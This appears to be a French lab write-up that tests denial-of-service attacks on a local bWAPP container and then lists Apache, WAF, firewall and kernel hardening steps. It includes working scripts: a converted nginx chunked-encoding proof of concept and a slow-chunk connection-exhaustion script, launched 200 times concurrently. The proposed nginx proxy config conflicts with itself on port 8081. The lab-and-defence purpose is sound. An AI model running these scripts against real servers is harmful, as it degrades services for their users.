Étape 0 : Vérifications

Confirmer que le script est servi en HTTP et que la VM dispose d'un interpréteur Python compatible (script d'origine en **Python 2**).

Sous-étapes

1) Fichier présent dans le conteneur

docker exec -it bwapp bash -c "ls -l /app/evil/nginx_dos.py || ls -l /var/www/html/evil/nginx_dos.py"

2) Fichier servi par le web

curl -I http://127.0.0.1:8081/evil/nginx_dos.py

3) Présence de Python sur l'hôte/VM

which python3 || true python3 --version 2>/dev/null || true

Attendu

- **ls -l** affiche le fichier dans **/app/evil** (existe).
- **curl -I** renvoie **HTTP/1.1 200 OK**.
- **python2 --version** renvoie une version **2.x**.

Observé

- Fichier présent et accessible via HTTP.
- **python3 3.12.3** disponible.

Étape 1 : Attaque

Script converti pour exécution en **Python 3**, puis déroulé des tests.

Sous-étapes

1) Conversion du script

```
import http.client
import socket
import sys
import os

socket.setdefaulttimeout(1)
dos_packet = 0xFFFFFFFFFFFFFFEC
packet = 0
```

```
def chunk(data, chunk_size_hex):
    return f"{chunk_size_hex}\r\n{data}\r\n0\r\n\r\n"

if len(sys.argv) < 2:
    print("Usage: python3 nginx_dos_py3_converted.py host:port")
    print("Example: python3 nginx_dos_py3_converted.py 127.0.0.1:8081")
    sys.exit(1)

hostport = sys.argv[1].lower()
if ':' in hostport:
    host, port = hostport.split(':',1)
    try:
        port = int(port)
    except:
        port = 80
else:
    host = hostport
    port = 80

while packet <= 66:
    body = "beezzzzzzzzz"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

    try:
        conn = http.client.HTTPConnection(host, port, timeout=2)
        url = "/bWAPP/portal.php"   # adapte si nécessaire
        conn.putrequest('POST', url)
        conn.putheader('User-Agent', 'bWAPP')
        conn.putheader('Accept', '*/*')
        conn.putheader('Transfer-Encoding', 'chunked')
        conn.putheader('Content-Type', 'application/x-www-form-urlencoded')
        conn.endheaders()
        conn.send(chunk(body, chunk_size).encode())
    except Exception as e:
        print("Connection error!", e)
        sys.exit(1)

    try:
        resp = conn.getresponse()
        print(resp.status, resp.reason)
    except Exception:
        print(f"[*] Knock knock, is anybody there ? ({packet}/66)")

    packet += 1
    conn.close()

print("[+] Done!")
```

2) Exécution

python3 /tmp/nginx_dos_py3_converted.py 127.0.0.1:8081 2>&1 | tee /tmp/nginx_dos_py3_run.log

3) Résultats clés

[] *Knock knock, is anybody there ? (0/66) [...] []* Knock knock, is anybody there ? (66/66) → **Aucune réponse HTTP** ; requêtes chunked **mises en attente/ignorées**. Ça indique un comportement potentiellement vulnérable mais non concluant. On vérifie l'impact sur le serveur avant d'aller plus loin.

4) Inspection service et charge

Connexions vers le port web

sudo ss -tanp | grep ':8081'

Sockets et processus associés

sudo lsof -nP -iTCP:808

Charge CPU / mémoire (snapshot)

top -b -n1 | head -20

Afficher uniquement le conteneur bwapp

docker stats --no-stream bwapp

Nombre de fichiers ouverts par docker-proxy (adapter PID si besoin)

sudo ls -l /proc/$(pgrep -f docker-proxy | head -1)/fd | wc -l

Logs Apache dans le conteneur (si présents)

docker exec -it bwapp bash -c "tail -n 120 /var/log/apache2/error.log 2>/dev/null || tail -n 120 /app/logs/* 2>/dev/null || true"

Test de service

curl -I http://127.0.0.1:8081/portal.php

Résumé des observations

- **LISTEN** actif sur 0.0.0.0:8081 via **docker-proxy**.
- **Apache 2.4.7/PHP 5.5.9** opérationnel ; redirections **302** → **login.php**.
- **Pas d'erreur HTTP**, pas d'interruption de service.

5) Test de charge contrôlé (slow chunk)

Un seul envoi peut être ignoré. Il faut ouvrir plusieurs connexions lentes simultanées pour vérifier si le serveur épuise les workers/descripteurs.

1) Nouveau script

```
cat > /tmp/test_chunk_slow.py <<'PY'
#!/usr/bin/env python3
import socket, time, sys
HOST="127.0.0.1"; PORT=8081
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.settimeout(5)
try:
s.connect((HOST,PORT))
except Exception as e:
print("conn fail", e); sys.exit(1)
req = (
"POST /portal.php HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
"User-Agent: trickle-chunk\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: keep-alive\r\n"
"\r\n"
)
s.sendall(req.encode())
s.sendall(b"10000000\r\n")
try:
while True:
    s.sendall(b"A")    # 1 octet toutes les 3s
    time.sleep(3)
except Exception as e:
print("ended", e)
finally:
s.close()
PY
chmod +x /tmp/test_chunk_slow.py
```

2) 20 lancements

for i in $(seq 1 20); do python3 /tmp/test_chunk_slow.py & sleep 0.1; done

3) Observation

sudo ss -tanp | grep ':8081' | sed -n '1,60p' sudo lsof -nP -iTCP:8081 docker stats --no-stream bwapp top -b -n1 | head -20

4) Résultats clés

- ~**20 ESTABLISHED** vers **127.0.0.1:8081**.
- **bwapp** : PIDs **27** → **50**.
- Impact **faible**, service **OK**.

2) 200 lancements

for i in $(seq 1 200); do python3 /tmp/test_chunk_slow.py >/dev/null 2>&1 & sleep 0.05; done

3) Observation

sudo ss -tanp | grep ':8081' | sed -n '1,60p' sudo lsof -nP -iTCP:8081 docker stats --no-stream bwapp top -b -n1 | head -20

4) Résultats clés

- **Centaines** de sockets **ESTABLISHED** → **127.0.0.1:8081**.
- **docker-proxy** : **centaines de FDs** ouverts.
- **bwapp** : PIDs **≈128**.
- **CPU user+sys élevé**, **mémoire serrée**, **swap utilisé**.
- Apache répond encore (**302**), **service dégradé** mais **vivant**.

6) Arrêt propre

pkill -f nginx_dos_py3_converted.py || pkill -f nginx_dos.py sudo ss -K dst 127.0.0.1 dport = 8081 || true

---

Conclusion

- Le PoC initial cible une vulnérabilité **Nginx** absente de l'environnement testé (**Apache derrière docker-proxy**).
- Les requêtes **chunked malformées** entraînent des **timeouts** sans erreur HTTP explicite.
- Le scénario **slow-chunk** concurrent provoque un **épuisement progressif de ressources** : sockets ESTABLISHED nombreux, FDs docker-proxy en hausse, PIDs conteneur en hausse, CPU et mémoire sous tension.
- Effet final : **dégradation** mesurable mais **pas de panne totale**.

Lecture recommandée : régler timeouts côté proxy/serveur, limiter le nombre de connexions par IP, activer request body rate-limit et protéger les files d'attente (worker limits, `KeepAliveTimeout`, `RequestReadTimeout`, QoS réseau).

Corrections pour empêcher l'attaque

Objectif : empêcher que des requêtes **Transfer-Encoding: chunked** malformées ou lentes immobilisent les workers et épuisent les ressources.
Approche : durcissement **Apache**, modules **anti-DoS/WAF**, **rate-limit** réseau, réglages **noyau**, ou **reverse proxy** dédié.

1) Apache — `mod_reqtimeout` (limiter lecture header/body)

```
sudo apt update
sudo apt install -y apache2
sudo a2enmod reqtimeout
```

`/etc/apache2/mods-enabled/reqtimeout.conf` :

```
<IfModule reqtimeout_module>
  RequestReadTimeout header=5-10,minrate=500
  RequestReadTimeout body=10,minrate=500
</IfModule>
```

Ajuster KeepAlive et workers :

```
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 2

<IfModule mpm_prefork_module>
    StartServers 2
    MinSpareServers 2
    MaxSpareServers 5
    ServerLimit 150
    MaxRequestWorkers 150
    MaxConnectionsPerChild 1000
</IfModule>
```

```
sudo systemctl reload apache2
```

2) `mod_evasive` (rafales)

```
sudo apt install -y libapache2-mod-evasive
sudo a2enmod evasive
```

`/etc/apache2/mods-available/evasive.conf` :

```
<IfModule mod_evasive20.c>
    DOSHashTableSize 3097
    DOSPageCount 20
    DOSSiteCount 300
    DOSPageInterval 1
    DOSSiteInterval 1
    DOSBlockingPeriod 600
    DOSEmailNotify you@example.com
    DOSLogDir /var/log/apache2/mod_evasive
</IfModule>
```

```
sudo mkdir -p /var/log/apache2/mod_evasive
sudo chown -R www-data:www-data /var/log/apache2/mod_evasive
sudo systemctl reload apache2
```

3) mod_security (WAF, règles simples)

```
sudo apt install -y libapache2-mod-security2
sudo a2enmod security2
```

/etc/modsecurity/modsecurity.conf.d/zz_custom_rules.conf :

```
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked"
"id:100001,phase:1,deny,log,msg:'Chunked transfer blocked (policy)',severity:2"

SecRequestBodyLimit 1048576
SecRequestBodyInMemoryLimit 131072
```

```
sudo systemctl reload apache2
```

4) Réseau local — iptables rate-limit (port 8081)

```
sudo iptables -N RATE_LIMIT_8081 2>/dev/null || true
sudo iptables -F RATE_LIMIT_8081
sudo iptables -A RATE_LIMIT_8081 -m conntrack --ctstate NEW -m limit --limit
10/min --limit-burst 20 -j RETURN
sudo iptables -A RATE_LIMIT_8081 -j DROP
sudo iptables -I INPUT -p tcp --dport 8081 -j RATE_LIMIT_8081
```

Rollback :

```
sudo iptables -D INPUT -p tcp --dport 8081 -j RATE_LIMIT_8081
sudo iptables -F RATE_LIMIT_8081
sudo iptables -X RATE_LIMIT_8081
```

Variante :

```
sudo ufw limit proto tcp from any to any port 8081
```

5) Noyau — tuning TCP

`/etc/sysctl.d/99-dos-hardening.conf` :

```
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.core.somaxconn = 1024
```

```
sudo sysctl --system
```

6) Reverse proxy dédié (si docker-proxy limitant)

`/etc/nginx/conf.d/bwapp.conf` :

```
upstream bwapp { server 127.0.0.1:8081; }

server {
    listen 8081;
    server_name localhost;

    client_header_timeout 5s;
    client_body_timeout 10s;
    send_timeout 10s;
    lingering_close off;

    location / {
        proxy_pass http://bwapp;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_connect_timeout 3s;
        proxy_read_timeout 10s;
        proxy_send_timeout 10s;
    }
}
```

```
sudo apt install -y nginx
sudo systemctl enable --now nginx
sudo systemctl reload nginx
```

7) Tests de validation

```
# Connexions ouvertes
sudo ss -tanp | grep ':8081'
sudo lsof -nP -iTCP:8081

# Journaux
sudo tail -n 200 /var/log/apache2/error.log
sudo tail -n 200 /var/log/apache2/mod_evasive.log
sudo tail -n 200 /var/log/modsec_audit.log

# Réactivité applicative
time curl -s -o /dev/null -w '%{http_code} %{time_total}
' http://127.0.0.1:8081/portal.php
```

8) Rollback rapide

```
sudo a2dismod reqtimeout evasive security2
sudo systemctl reload apache2
sudo iptables -D INPUT -p tcp --dport 8081 -j RATE_LIMIT_8081 || true
sudo iptables -F RATE_LIMIT_8081 || true
sudo iptables -X RATE_LIMIT_8081 || true
sudo systemctl stop nginx || true
```

9) Points d’attention

- `mod_reqtimeout` + `KeepAliveTimeout` : principaux leviers contre **slow-body/chunk**.
- `mod_security` / `mod_evasive` : réduction de surface, gestion de rafales.
- **Reverse proxy** recommandé pour **timeouts** et **rate-limits** fins.
- Tests en environnement non-prod, **surveillance CPU/mémoire/swap** pendant essais.